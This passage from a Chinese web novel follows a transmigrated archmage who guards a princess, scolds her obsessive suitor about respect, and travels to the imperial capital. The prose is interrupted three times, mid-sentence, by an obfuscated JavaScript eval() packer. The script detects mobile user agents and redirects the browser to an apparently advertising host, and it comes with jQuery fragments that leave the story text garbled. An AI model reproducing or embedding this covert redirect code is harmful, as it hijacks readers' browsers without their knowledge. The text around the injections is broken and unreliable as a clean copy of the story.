在蜃楼发话之前,他绞尽脑汁思考,终于想出脱身的策略——阿忒菈清了清嗓子,抢先说道:“时间确实是不早了,大人你也辛苦了,快去睡觉吧!我就在这里守着,放心,我绝对不会对希娅做什么的!” 蜃楼转身看了他一眼,没有说话,只将那一大碗甜汤放到阿忒菈面前。 “你还想对希娅做什么?”他似笑非笑地开口,“辛苦的是你啊,阿忒菈。连夜赶到这里很累吧,来,把这碗汤喝了。” 甜腻的香气飘进阿忒菈的鼻腔,他皱了皱鼻子,差点没吐出来。 他不喜欢吃甜的,没什么特别的理由。尤其是热气腾腾的奶油甜汤,每到冬天,他家婶婶就会接连煮上好几个星期:因为冬天的烟火气扩散得更快,平民买不到奶油和砂糖,她就想趁这机会,好好炫耀一下家底而已。 这种汤,阿忒菈已经快要喝吐了。 他没读出蜃楼话里讽刺的意味,还想和他商量:“大人……我真的不饿,这么好的东西,还是您自己……” 蜃楼打断他:“我有给你拒绝的权利吗?” 阿忒菈闭嘴了,生怕脑袋原地炸成烟花,他连忙低头捧起碗,硬着头皮喝了起来。 未干的血液混合着白色的奶油汤,在他脸上留下斑驳的痕迹。阿忒菈的吃相很差,某种程度上说,希娅称呼他为“流浪狗”,竟然不能说是完全的侮辱,还有点贴切在的…… 蜃楼看不下去,拿了块手帕扔给他:“行了。擦擦你自己的脸。” 阿忒菈感恩戴德地接下,胡乱地用手帕抹了几把脸。他大约不是在意形象的人,这几下非但没将污渍清理干净,还把他原本干净的上半张脸也抹得脏兮兮的了。 ……合家欢大结局,真是道阻且长啊。 蜃楼无奈地想着,敲了敲桌子,对阿忒菈说:“现在你知道被人强迫着接受‘好意’的感受了。” “你那所谓‘爱’的表现,对希娅来说未必是件好事。我这么说,能明白吗?” 阿忒菈停下擦脸的动作,愣愣地看向他。 他没想到,蜃楼竟然不是单纯在命令他,而是在借机试图教会他什么——尽管他还没太理解对方话中的意思。可凭阿忒菈那点稀薄的、给男爵做走狗的经验,只知道他这样的人,明明是没资格接受什么教育的。 他顿了一下,震惊又试探地询问蜃楼:“您……这是在教导我吗?” 蜃楼:……? 这种反应……这人,以前过的都是什么样的日子啊? 46. 第 46 章 其实,如果要和季诺、希娅或是蜃楼本尊比较起来,“钟灵”是没那么了解阿忒菈的。 毕竟打游戏的时候,她还没想到自己会变成蜃楼。 不然怎么说也要把所有路线都打一遍,起码掌握一下剧情吧…… 除了前期头铁没看攻略不小心触发了几条BE之外,钟灵自己也就打了几个HE结局而已。 其他的结局全是“云”的,注意力基本在蜃楼这个丧心病狂的男主身上。她知道阿忒菈是蜃楼的另一个极端,但并不清楚具体的成因。 按理说,他在霍斯菲尔德长大,父母在战乱中身亡,还有婶婶一家收留了他;阿忒菈不像季诺那样举目无亲、也不像希娅那边要被迫手足相残,他的生活,本应该更好过一些才对。 说到底,他是为什么会进入“女神之血”来着……? 蜃楼是明确记得自己看过这一段剧情的,可不知道是不是因为在这个世界呆得太久,他在现实的记忆已经变得模糊起来。 但没关系,反正本尊就在面前,他可以找个机会直接问他。 收拾完厨房,蜃楼将那只快要完工的义眼带到楼下,继续他的工作。 阿忒菈依然被他绑在椅子上。尽管有契约限制他,蜃楼还是不能放心,干脆搬到楼下来盯着他——反正他也不用睡觉,干脆把这段时间利用起来。 简单来说,现在的情况就是这样: 夜深人静,烧着壁炉的温暖小屋里,一张不大的木制餐桌摆在中间。阿忒菈被绑在这头,蜃楼则坐在另一头,专心地摆弄手上的金色石头。 阿忒菈坐在椅子上,看起来全无倦意。他的目光四下游移,偶尔停在蜃楼身上,露出欲言又止的神态。蜃楼没搭理他,吹去义眼上的碎屑,又拿起图纸,眯起眼睛对比起来。 他是用了心的。图纸上不单记着回路的形状,还有一颗眼球的画像,连瞳仁里的沟壑都仔细地画了出来。画画这种东西,几天不练习就会生疏;他还在这儿做了这么久的大魔法师蜃楼,别说画画了,笔都没握过几次…… 蜃楼修修改改,丢了好几张草图,总算画出这一张差强人意的图纸。 用魔石雕刻的义眼紧贴图纸上的形状,除了颜色,与真正的眼球几乎没有区别。 他很满意这个结果,表情也跟着心情松动,稍稍柔和起来。 坐在对面的阿忒菈观察到这一点,犹豫片刻,试探着向他开口了:“那个,大人……您跟希娅是什么关系啊?” “我们是朋友。”蜃楼毫不犹豫地回答,“你问这个做什么?” 阿忒菈抬起头,目露不解:“朋、朋友?我还以为你们……” 他没再说下去,但蜃楼不是傻子,早已经明白他的意思了。 “别说!”系统忽然在他耳边感慨起来,“他这误会可不是空穴来风……你为希娅做了这么多,我都有点嗑你俩了。任务倒是没强制要求你履行职责,不过,可以考虑一下嘛——就当演个戏,多劳多得,报酬也会增加的哦。” 蜃楼放下那颗义眼,差点被它的说法气笑了。 “我是可以演戏,但希娅呢?”他反问道,“别太离谱了你。利用别人的真心这种事情……” 他这样谴责它,系统却没半点恼意,反而乐呵起来:“哎哟,大人,我还以为你会从性别反驳呢。你原来不是个女孩吗?哦,我懂了,你是男女通吃的那种——” 蜃楼:“……” 他竟没能立即反驳,甚至是若有所思地陷入沉默了。 仔细一想,“钟灵”从出生到现在,几乎都在为成为优秀的榜样而努力。她没时间考虑这方面的事情,但不能否认,她有过谈恋爱的想法;而在那个时候,她为对方预设的性别还是男人。 或许是因为他套用蜃楼的身份太久,一时间真没想到性取向这种事情。 现在想起来,他对长得好看的男人肯定是一点也不感冒,否则不会踹阿忒菈那么重的一脚;至于女人……除了希娅,也没接触过谁了。的确是对希娅更好一点,可那一半是为了任务、剩下一半则是欣赏,应该是很纯洁的感情吧…… “……说不定是你该给我精神损失费了。”他沉吟片刻,一本正经地开口,“我可能有点性别认知障碍。” “狭隘了呀,大人。”系统笑了两声,循循善诱地说,“性别只跟繁衍挂钩。大多数人所谓的‘爱’,某种程度上也可以说是传宗接代的赠品。否则,你们那边的同性恋就没理由是少数群体了嘛……” “所以呢,你想表达什么?”蜃楼问。 系统说:“你没发现啊?就算是男人的身体,也很奇怪吧。你现在没有任何浪漫的幻想,这代表荷尔蒙没有在影响你,你也不会因为激素影响而对谁产生冲动。换句话说,小姐,如果你真的在这里爱上一个人,那一定是发自灵魂的爱意——绝不出于生物卑劣的本能。这种事情,难道不比在你那个世界按部就班地结婚生子更浪漫吗?” 比被狗系统带进沟里更可怕的事情出现了,那就是蜃楼竟然觉得它说的话好像还真有那么点儿道理。不过,他只惘然了一小会儿,便迅速将注意力转移到其他地方去了:“等等。你的意思是,蜃楼本尊也不受荷尔蒙影响?……那他到底是什么东西,不对,他还算是个男人吗?” 系统沉默了,显然是没想到他能把重心转移到这件事上。 “算不算男人你还不清楚吗……”它顿了一下,无奈地说,“不受荷尔蒙影响,是因为没有那样的必要,他是大魔法师啊。而且你看看对面,这种被生物本能吃得死死的男人换你乐意当不。” 蜃楼闻言,抬头看向阿忒菈。 他看来是真信了蜃楼的说法,而且似乎又暗戳戳地联想了点什么,神色都舒展起来了。现在,阿忒菈正死死地盯着二楼的方向,还可疑地吞了两下口水。然后觉察蜃楼的目光,身体一震,连忙低下头去,一副眼观鼻、鼻观心的样子。 “那个……蜃楼大人。”他纠结了一阵,小心翼翼地询问蜃楼,“我能去看看希娅吗?就、就看看,什么也不会做的!从她离开‘女神之血’后,我还没见过她……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109406|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蜃楼无语:“你问我干什么,去问希娅啊……再说人家这个点都睡了,你冷不丁站门口看她很吓人的好吧。” 阿忒菈顿了一下,似乎是想到什么,表情失落起来:“希娅说我没资格对她示好。” “嗯嗯。”蜃楼重新拿起刻刀与义眼,敷衍地接话,“那你是怎么想的?” “我觉得,一定是她没意识到,这个世界上只有我才能欣赏她的美丽。”阿忒菈扣着指甲,脸颊上泛起绯云,低声又快速地说着,“她在角斗场里屠杀的倩影……明明浑身鲜血,却不忘记给死去的败者合上眼睛……还有她悲伤的、走投无路的绝望表情,别人都不能领略,只有我才知道!啊啊,那样的希娅,才是最真实、最美丽的她……” 蜃楼听不下去了。透明的冰晶从他手边飞快地蔓延出来,咔咔地攀上阿忒菈搭在桌上的手指。阿忒菈吓了一跳,连忙抽出手,一副鹌鹑的样子,不再说下去了。 “……你这种人啊,喜欢的只是自己臆想中的形象罢了。”蜃楼低头雕着那颗义眼,心不在焉地说,“如果真的喜欢希娅,哪怕没有人教,你也会懂得该怎么尊重她。” “尊重?”阿忒菈不解地重复了一遍。 “是啊,尊重。”蜃楼说,“阿忒菈,你既然不喜欢喝甜汤,那喜欢吃什么呢?” 阿忒菈想了想,高兴地说:“我喜欢吃肉!最好是新鲜的牛排,用木炭烤一会儿,不要太久,中间还是粉红色的时候最好吃了。” “行啊。”蜃楼垂下眼睛,淡淡道,“那你这辈子别吃肉了,敢吃我就敢杀了你。” 阿忒菈怔了一下,表情即刻变得灰败起来。 但他不敢抵抗什么,只能低下头,悻悻地说:“好吧,我、我知道了……” 此时,蜃楼终于刻完义眼上的最后一道沟壑。 他将它拿起来,对着光源比了比—— 一颗金色的眼球,已经像模像样地雕出瞳孔与虹膜的形状。眼白的部分被他用陶瓷补上,光泽恰到好处,即便是近看,也很难看出这是颗手作的义眼了。 他很满意。 这样,等天亮希娅就能接受手术了。她不用药膏吊着那颗坏掉的眼睛,也不用再忍受伤口的疼痛:尽管希娅从来没说过、也不曾表现任何,但蜃楼是知道的。 她受的那些伤,恐怕跟他从六楼摔下来差不多疼。 ……当然了,她还得忍受阿忒菈这种追求者的精神攻击,这就更不容易了。 “这就是不尊重,阿忒菈。”蜃楼放下义眼,看向阿忒菈,叹了口气,“这样的事情,马坎难道没对你做过吗?看来你是知道难过的,我还以为你乐在其中呢……好了,如果我尊重你,我就不会逼迫你喝甜汤、阻止你吃肉。现在能明白吗?” 阿忒菈看着他,眼神不似之前茫然,似懂非懂地点了两下头。 但他的重点显然错了,因为这家伙迟疑片刻,竟然忐忑地问道:“所以,我能吃肉了吗……?” “重点是这个吗?”蜃楼无语地说,“随便你啊,爱吃不吃……” 47. 第 47 章 自打阿忒菈突然造访之后,又过去了几天。 这天,蜃楼正要出门,却撞见了一位不速之客—— 雪莉·怀恩,金发碧眼的小镇名门,现在歌登、马坎先后倒台,她几乎是名正言顺地成为了这里的女主人。 仔细一想,蜃楼和她已经有段时间没见过面了。 雪莉的变化很大,与歌登掌权时的样子大不相同:她现在双目有神、穿着简单精致,自带一股利落优雅的气场。或许是因为最大的问题已经得到解决,她的面色红润柔和许多,蜃楼差点没能将这个女人与记忆中的形象对上号。 她看见蜃楼出来,微愣了一下,向他打了个招呼:“早安,蜃楼先生。很久没见您了,您还是和之前一样啊……” “早安。”蜃楼礼貌地回应她,“你是来找希娅的吗?” 在小镇暂居的这段时间里,蜃楼很少出门。 他几乎每天都在家里,日子却没轻松到哪里去。不光要盯着阿忒菈防止他对希娅动手动脚、还得抽出时间来恶补这里的文字和世界观。白天雕刻投影石卖出去赚钱;晚上则趁着夜深人静,偷偷用传送阵去看皇城的情况。 自打他潜入达木兰宫大闹了一通,弗洛瓦皇室便秘密请了位大魔法师出山。消息还是希娅告诉他的,说那位大魔法师围绕整个皇城布下了特殊的结界,不光在城门处严格控制人员进出,传送阵也已经无法定位到皇城的位置了。 蜃楼不能直接到城里去,只能传送到城郊的山头远远地眺望—— 那里视野很好,他甚至能看见弗洛瓦王庭中走动的佣人。 虽然比起直接进皇城打探要麻烦很多,但总之,在希娅回城之前,他算是搞清楚弗洛瓦现在的情况了。 今天出门,是要去裁缝店取裙子来着。 希娅和义眼适配得非常完美,身上的伤也好得差不多了。他们已经准备启程,之前帮希娅订了几套体面的衣服,今天去取过来,明天就能收拾收拾离开了。 要说这段时间里出乎意料的是,雪莉和希娅的关系似乎处得不错。她们经常一起结伴出门,蜃楼也不担心,从未多问过。今天在家门前撞见雪莉,他理所当然地认为她是来找希娅的,正偏身想将进门的路让给她,却见雪莉顿了一下,摇摇头,说道:“不是的。我今天是来找您的……您今天有什么安排吗?” “嗯,有啊。”蜃楼说,“我要去取几件衣服。” “那我能和您一起去吗?”雪莉交握着手指,期待地询问道,“我听希娅说,你们明天就要启程了。小镇的事情,我都没来得及好好感谢您呢。” 感谢他? 这本来就是蜃楼下手布的局啊,希娅竟然没把实情告诉她吗? 蜃楼有些意外。不用背原主黑锅他倒是乐得,不过马上就要回皇城开新副本了,他现在实在是没什么和雪莉闲聊的心情。 他掩上门,委婉地说:“你应该很忙吧,不用把时间浪费在这种事上面。” 雪莉看着他,踌躇了一会儿,最终鼓起勇气,真诚地说道:“这才不是浪费!我……我前不久才知道我写给协会的信根本没有好好寄出去。这些事本来与您无关,可您还是被我牵扯进来了……抱歉……” “你道什么歉?这是我自己的选择。”蜃楼无奈地说。 “但,我们确实欠您一个很大的人情了。”雪莉说,“如果不是希娅告诉我,我现在都不知道您的名字。蜃楼先生……” 蜃楼没说话,抱起胳膊看着雪莉,忽然想起什么,若有所思地垂下眼睛。 雪莉没注意到他神情的变化,短暂地停顿之后,又自顾自地说了下去:“我没有别的意思,只是想问问。您之后还会回来这里吗?雪芮的身体好很多了,我们想,至少为您补上一场庆功宴……” 蜃楼抬起眼睛,毫不犹豫地拒绝了她:“不用了。” “诶?”雪莉有些错愕,“可是大家……” “我不太喜欢人多的场合。”蜃楼笑了笑,假惺惺地跟她客气起来,“你的好意我心领了。请问还有什么事吗?” “啊?没、没有了。”雪莉显然没料想到他会这样干脆地拒绝,表情闪过一丝茫然。 蜃楼没多说什么,向她一颔首,拉上披风的帽子远去了。 雪莉愣在原地,越想越觉得郁闷。不知过了多久,一只纤细的手伸过来,拍了拍她的肩膀。 她转头看去,看见希娅不知道什么时候站到了她身边,正笑吟吟地看着她。 “怎么样,大小姐?”希娅说,“第一步的进展如何?” 雪莉看见她,仿佛卸下了心防,欲哭无泪地扑上去:“希娅——他拒绝我了!我明明只是让他来庆功宴而已,有那么明显吗?” 希娅摸着下巴想了想,肯定地说:“你这么一说……确实挺明显的。” “怎么会?!”雪莉露出不敢置信的神情,“庆功宴不是很正常吗!他为小镇做了那么多事情——” “庆功宴很正常呀。但是,他知道我们关系好吧。”希娅笑起来,掰着手指,认真地向她解释,“如果真想办,你是会找每天都能联系到的我,还是找神出鬼没的他?你啊……用这点小心思,还不如告诉我呢。我帮你转告他,他说不定就答应了。” “你这么一说,好像还真有点道理。”雪莉哀叹一声,眼神惆怅起来,“唉……算啦,不提男人了。希娅,你之后真的不回来了吗?弗洛瓦那边来信了,我还不知道怎么回呢。” 希娅顿了一下,好奇地问道:“信?什么信,是关于新领主的消息吗?” “那倒不是,是今年‘绽放盛典’的邀请。”雪莉说,“多亏你支的招,他们同意让怀恩家继续管理白腰镇了。不过,这样也算是彻底向弗洛瓦投诚了……盛典的时候,我们也得去观礼呢。啊!但是这样说起来,我不是又能见到你和蜃楼先生了吗?” 希娅好笑地揭穿她:“你那是想见我吗?” 雪莉嘿嘿笑了笑,凑过去用力地拥抱了一下希娅。 “总之,真的谢谢你啦,希娅。”她说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114378|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从口袋里取出一个精致的盒子,“公主要回皇宫没珠宝怎么行,拿着这个,到那边也要记得用通讯石联络我哦。” 希娅接过盒子打开,里面是一串漂亮的珍珠项链。玉白色的珠子细腻光滑,一眼看不见瑕疵,泛着温润闪耀的光泽,即便是在与大海接壤的原格拉斯领土,也是十分上乘的材质了。 她有些吃惊:“这个……太贵重了,已经是皇室进贡的水准了呀。” “哎呀,你不就是皇室吗?”雪莉说着,把珍珠项链从盒子里拿出来,系在希娅的脖颈上,“好好戴着吧。要不是你,我自己可没办法这么快就把镇子稳定下来……” 这是一件蜃楼不知道的事:在他们解决霍斯菲尔德的事件、回到白腰镇后,雪莉正为聚集起来要求她偿还黄金的镇民而头疼。尽管她已经解释许多遍黄金的去向,却还有一部分人死活不愿相信,整日坐在议事厅门前取闹。 她不想再麻烦蜃楼,本想自己处理这件事,没想到让希娅撞见了。她只是略施魔法,便吓退了那帮镇民;后来更是帮忙支招重建小镇、聚集人心,这才让白腰镇以极快的速度重新振作了起来。 在这期间,雪莉经常将自己收到的情报分享给她,刚开始是作为回报,后来却不止于此了。她们还会一起出门,吃饭或者是买些东西,聊一聊最近发生的事情。 雪莉和希娅早已不止是互惠互利的关系了。 她们是真心的朋友——至少,雪莉是这样想的。 希娅摸了摸脖颈上的项链,向雪莉展出一个微笑。 “知道啦!”她说,“好好工作,我们绽放盛典再见吧。” 雪莉点点头,向希娅挥了挥手,转身离开了。 目送她远去之后,希娅站在房檐的阴影下,伸出右手,向后一拉—— 一阵踉跄的脚步声响起来,蜃楼抱着一个木箱忽然现身。他不太能抗拒锁链的力量,现在又被拉着差点摔倒;好在及时扶住墙面,手里装着衣服的箱子也勉强保住了。 希娅转头看他:“偷听女孩子说话可是不好的习惯哦。” 蜃楼放下箱子,无可奈何地说:“进屋就这一条路,我也不知道你们会聊这么久啊……” 希娅轻哼一声,没搭理他,转身推开房门。 那晚蜃楼没杀阿忒菈,而是把他绑进了团队入伙,再之后,希娅对他的态度就变得有些微妙了。 系统嘲笑他是圣母心发到了铁板上,她现在一定是很讨厌他了,蜃楼却只是撇撇嘴,一点没把它的嘲讽放在心上。 他自己不是很在意这些。可每想到希娅之前宁愿利用阿忒菈也不相信他,还是会觉得不爽。 至少现在希娅没向他掩饰什么了。长此以往,达成坚固的信任关系也只是时间问题…… …… 不过,有一件事,他还是非常在意的。 蜃楼放下兜帽,在希娅进门之前,挡在她身前。 “是你鼓动雪莉来邀请我的?”他蹙起眉头,不解地问,“为什么要这样做?” 48. 第 48 章 希娅停下脚步,抬起头来看着他,漆黑的眼瞳在阳光下仿佛一面镜子。 蜃楼顿了一下,忽然感觉眼前这一幕似曾相识——直到系统在他耳边发出惊呼,他才终于反应过来,垂目让出路来,局促地说:“抱歉。” “你又没有伤害我。为什么要道歉?”希娅看着他,不解地说,“蜃楼,你这个人真的很奇怪。” “就是啊。”系统在他脑内煽风点火地附和道,“你们人类不是有句俗语叫做‘此地无银三百两’嘛。就算和游戏剧情重合了,你和蜃楼又不是一个想法,紧张什么?” …… 蜃楼沉默了。 他说不清自己为什么会那样做。刚才那一幕确实和原作的剧情对应上了:在游戏剧情里,希娅也鼓励过一个对蜃楼一见钟情的贵族小姐向他告白;而蜃楼本尊非常在意这一点,拒绝对方之后就找到希娅展开质问……再后面,就是经典的——“我喜欢的人是你”、“为什么要把其他女人送到我身边”这样的剧情了,实在没有什么营养。 他没打算干涉希娅的感情生活,穿来这段时间,几乎没怎么回想过那几条感情线的发展。 只记得那段剧情中的希娅终于看出蜃楼外冷内热的本质(才怪),是希望他可以融入寻常人的生活里,才将身边的朋友介绍给他的。 换句话说,这是进入蜃楼线才会出现的标志性事件。 为什么会在这里冒出来啊? 蜃楼一边郁闷地想着,一边背过双手默不作声地后退、同希娅拉开距离。而希娅只是看着他,目光坦坦荡荡地,愈发衬得他是在“此地无银三百两”了。 “我没有鼓动她。就算没有我,雪莉也会邀请你的。”她收回视线,转过身去,手指放在门把上,停顿了一会儿,迟疑地说道,“接受他人的好意,对你来说,难道是件坏事吗?” 希娅的心思非常敏锐,这本是个很好的优点。 只是对现在的蜃楼来说,俨然是在火上浇油了…… 他没想过向她说明真相,只是思考该怎么把这个话题揭过去。 毕竟系统、穿越这种事情,放在这个世界也是异想天开,蜃楼完全不觉得她会相信这种说法。 他沉默了一会儿,才苍白地解释道:“不是坏事,但我不需要。” 希娅没再说什么,只侧目看了他一眼,便推门回去了。 她没再计较这些,蜃楼却不觉得爽快。他站在门前晒了会儿太阳,晾到白发都开始发烫,才抱起装着衣服的箱子,放轻脚步走了进去。 * 忽略这个小插曲,次日一早,蜃楼按照计划踏上了回城的旅程。 有另一位大魔法师坐镇,他的传送阵无法直达皇城,但可以将坐标定在邻近的地方。几人借传送阵抵达了皇城附近的小镇,接下来只要再赶三天的路,就能回到阔别的王庭了。 弗洛瓦现在的情况很有意思。 他之前劫走希娅、带走了季诺,又在希恩的宫殿里胡作非为了一番,可以说是给弗洛瓦皇室找了个大麻烦。也多亏于此,弗洛瓦忙着处理自家的糗事,缉捕希娅的事情,并没有交给皇室成员亲力亲为。 这才能让蜃楼捉住机会,混进霍斯菲尔德去,顺势揭发马坎男爵的真面目。 现在,希娅的罪名随着马坎被审判而洗清;至于希恩被全城直播的“禁闭室”秘辛——竟被弗洛瓦用魔兽作祟的借口压下了。那位被请来的大魔法师也心照不宣地配合皇室演戏,轻飘飘地将这件事揭了过去。 期间,偶有几个远亲曾在达木兰宫做过工的末流贵族出声质疑,但最后都不了了之了。 想想也是,这个世界虽然有魔法存在,普通人对其的认识却十分有限。弗洛瓦要是存心糊弄,多数人也没什么办法。只能在茶余饭后不经意地聊到几句,喟叹或是无奈,并不能引发翻天覆地的变化。 不过,事在人为。 普通人无法在皇城掀起波澜,可他身边,恰好还有一位万人之上的皇室成员在呢。 回归在即,希娅变得比他还要忙碌。通讯石的闪烁没有断过,沿途的书信更是一封接着一封。 和她比起来,蜃楼的日子就显得有些闲适了。 舞台回到皇城,主角只有希娅。他甚至连用真面目进城的打算都没有,早早就将自己幻化成女侍的样子,恭顺地守候在希娅左右。 在这期间,一行人的安全问题,则由阿忒菈负责。 被蜃楼教训过一顿,此男老实了不少。平日出行,与希娅的直线距离从不超过三米;尽管有时还是会用可疑的目光盯着她,但不敢再动手动脚了,而是尽心尽力地做上了保镖。 现在,他们离弗洛瓦的皇城只有一步之遥。 受冤屈的皇女将要回城的消息早已传遍大街小巷,大皇子亚纶不知什么时候联系上了希娅,亲自为他们安排了落脚的去处——也就是这间豪华的庄园了。 如果将白腰镇比作村镇、霍斯菲尔德比作县城,那他们现在踏入的无疑是弗洛瓦的一线城市了。坐落于驿站南部的庄园甚至比霍斯菲尔德的领主宅邸还要豪华:大厅的沙发是用最高等的鹅绒所制成的、摆放的茶桌更是散发着香气的名贵木材,水晶灯如瀑布一般从高高的天花板上垂下,蜃楼下意识抬眼望去,竟险些没晃瞎自己的眼睛。 “……这灯还怪让人亲切的。”他想起现实中也流行过一阵子的水晶灯,悄声犯起了嘀咕,“应该不是真的水晶吧?” “当然不是了!”系统冷不丁地开口道,“这是碧玺,可比水晶值钱多了。就咱们头上的这一盏灯,你卖几百颗投影石都换不来呢。” 蜃楼沉默了。 有钱人可真吓人。现世的五星级酒店都没这么夸张啊……。 “每四年的冬末春初,弗洛瓦各地的领主贵族都要进城觐见皇帝。”希娅抱着胳膊,目光在那盏浮夸的水晶灯上停留片刻,又抽了回来,心不在焉地说,“这是专门供他们歇脚的庄园。平民富商,哪怕有万枚金币的身价都进不来。” 蜃楼把自己变成一个长着雀斑的年轻女侍,模样普普通通,一言不发地跟在希娅身边。他们身后,则跟着表情有些担忧的季诺;而在几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118021|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的三米远处,是瞠目结舌的阿忒菈。 人外有人,天外有天。 “女神之血”的超豪华包厢却连这里的大厅都比不上,他现在正承受着阶级差距的冲击。尤其是天花板上的那盏水晶灯——五颜六色的碧玺被雕刻成各式各样的花朵形状,最中心则是一座花神维洛尼亚的神像。 祂被万紫千红包裹,模样雌雄难辨,正慈悲而安静地伫立其中。偶有几个过路的佣人在灯下停驻,做了个祈祷的姿势之后又迅速离开。阿忒菈观察着他们,直到自己也经过那盏灯的时候,也跟着双手合十,摆出一副虔诚的样子。 蜃楼站在希娅身边,因着“契约”的缘故,远远便能听到阿忒菈在那里念叨:“神明啊,快把那个白发面瘫带走吧,让我和希娅二人世界……”。 他脚步一顿,接着,“当啷”一声,水晶灯上的一颗碧玺掉了下来。 不偏不倚,恰好砸到阿忒菈头上。 阿忒菈吃痛惊呼一声,闻声赶来的仆人很快将他包围起来。他面色惊慌地在人群中辩解了几句,望向蜃楼和希娅。然而蜃楼心照不宣地移开了视线,希娅也只是瞥了他一眼,便去和负责接待她的管事交涉了。 只有季诺为他停下脚步,拉过一位佣人说了些什么。 那佣人听了季诺的话,急匆匆地拨开人群,在阿忒菈身边的沙发凳下翻出那颗掉落的碧玺—— 人群这才散开去。而阿忒菈早没了刚进旅店时的兴奋劲儿,整个人都耷拉了下来。 他毕竟不是什么贵族,只是以希娅护卫的身份来到这里的。那些佣人对待他不但没有任何恭顺的颜色,还责问他是不是窃走了那颗碧玺。这待遇和在霍斯菲尔德的时候比起来差远了,他是喜欢给人当狗,但不代表什么人都能颐指气使地对待他…… 阿忒菈眸光一暗,手指扶上他的剑鞘。蜃楼这才从希娅身边离开,默不作声地走到阿忒菈身后,轻轻踢了他一脚。 阿忒菈转过头,注意到蜃楼警告的神色之后,无趣地撇过头去。 另一边,希娅的交涉也结束了。 管事领着她上了楼,阿忒菈正想跟上去,却被佣人拦在了楼梯口。 “哎哟,上面的房间可是给贵人住的。你上去做什么?”佣人没好气地将他赶下来,“公主的佣人也是佣人,房间也在后房里呢。没什么事赶紧走,公主这边有我们照顾着。” 阿忒菈瞪大眼睛:“你、你……” 他气上来了,顾及蜃楼在身后不好杀人,于是撸起袖子,准备跟这个狗眼看人低的佣人好好“理论”几句。却没想蜃楼揪住他的领子,将他往后拖了一步,自己则往前站了站,摆出恭顺的样子—— “好的,多谢您了。”那位褐发的、满脸雀斑的女佣低下头,忧心忡忡地说着,“公主她这些天颠沛流离,水土不服,吃不下太油腻的食物。还请您多照应……” 那佣人也不知听进去没有,只享受着他服软的样子,漫不经心朝他们摆了摆手。 “行了,行了。”他敷衍地说,“赶紧去歇着吧,我们会好好照顾小公主的!” 49. 第 49 章 所谓的后房,原是在庄园的别馆背后,一串用石砖砌出来的联排平房。 条件比起别馆要差很多,但和蜃楼之前的风餐露宿比起来,已经绰绰有余了。 男侍、女佣的宿舍不在一处,他顶着女佣的外表,被带往单独的女性宿舍。房间不大,四个人要挤在一间狭窄的房间里,墙壁散发出潮湿的味道。床铺又矮又窄,伪装状态下的蜃楼勉强能躺上去。若是本来面貌的话,恐怕要蜷着腿才能躺下。 除了他,还有三位是其他落脚贵族带来的佣人,年纪不是很大,说起话来叽叽喳喳的,像一群小鸟。 她们几个似乎熟识,聊得格外起劲。蜃楼听了一会儿,感觉没什么帮助,正要走出门去,一个女侍却叫住他:“诶。你是三皇女的人吧,这么晚了,是要去哪儿啊?” “……”蜃楼顿了一下,搬出一个老套但总是有用的借口,“我尿急。厕所在哪儿?” 女侍看着他,露出嫌弃的表情:“乡下来的吗?真是没教养……在别馆后面呢,快去吧。” 他向她微微颔首,走出门去。 这里的路不难找,蜃楼在别馆后转了转,很快就找到了厕所所在。 当然,大魔法师超脱凡人,吃下去的东西直接等比转化为魔力,是从来不用上厕所的。 他只是找个没人的地方更换伪装而已。 褐发女佣走进厕所,又过了一会儿,一个穿着旅店制服的佣人匆匆从厕所内走了出来。 他穿过别馆,在一棵大树前停下脚步。 时间迫近深夜,季诺正站在树下,手中拧着一片枯黄的叶子,似乎在等人。 蜃楼脚步一顿,与他对上视线。少年见到他,微微一愣,神色有些踌躇。 “蜃楼先生……?”他试探地喊了一声,见蜃楼没什么反应,才松了口气,对他说道,“跟您猜想的一样,我和阿忒菈也被安排在不同的宿舍了。他脱不开身,我找了个借口才跑出来的……” 蜃楼点了点头,他能感应到阿忒菈那边的情况。他的“室友”是一群五大三粗的佣兵,正拉着他在房间内喝酒呢。阿忒菈有些忍无可忍的样子,或许是惦记着蜃楼放在他脑子里的契约,只能按捺下去,面色不虞地任由那些人劝酒。 季诺叹了口气,表情有些忧虑。 庄园的后房附近没什么人,安保集中在达官贵人们居住的别馆。希娅孤身一人被留在那里,尽管有蜃楼打过预防针,他还是无法控制自己不去担心。 “我在过来的路上,发现有一队人混在贵族的随侍里进了别馆……”他揪着那片叶子,蹙起眉头,“我见过他们,蜃楼先生。他们……是希恩的人。” 蜃楼望向别馆的方向,目光微沉下来。 “别担心。”他沉吟片刻,揉了一把季诺的脑袋,“他们不知道我也在的,我马上去找希娅。” 在他带着希娅在白腰镇养伤的时候,就料想到了这样的一天。 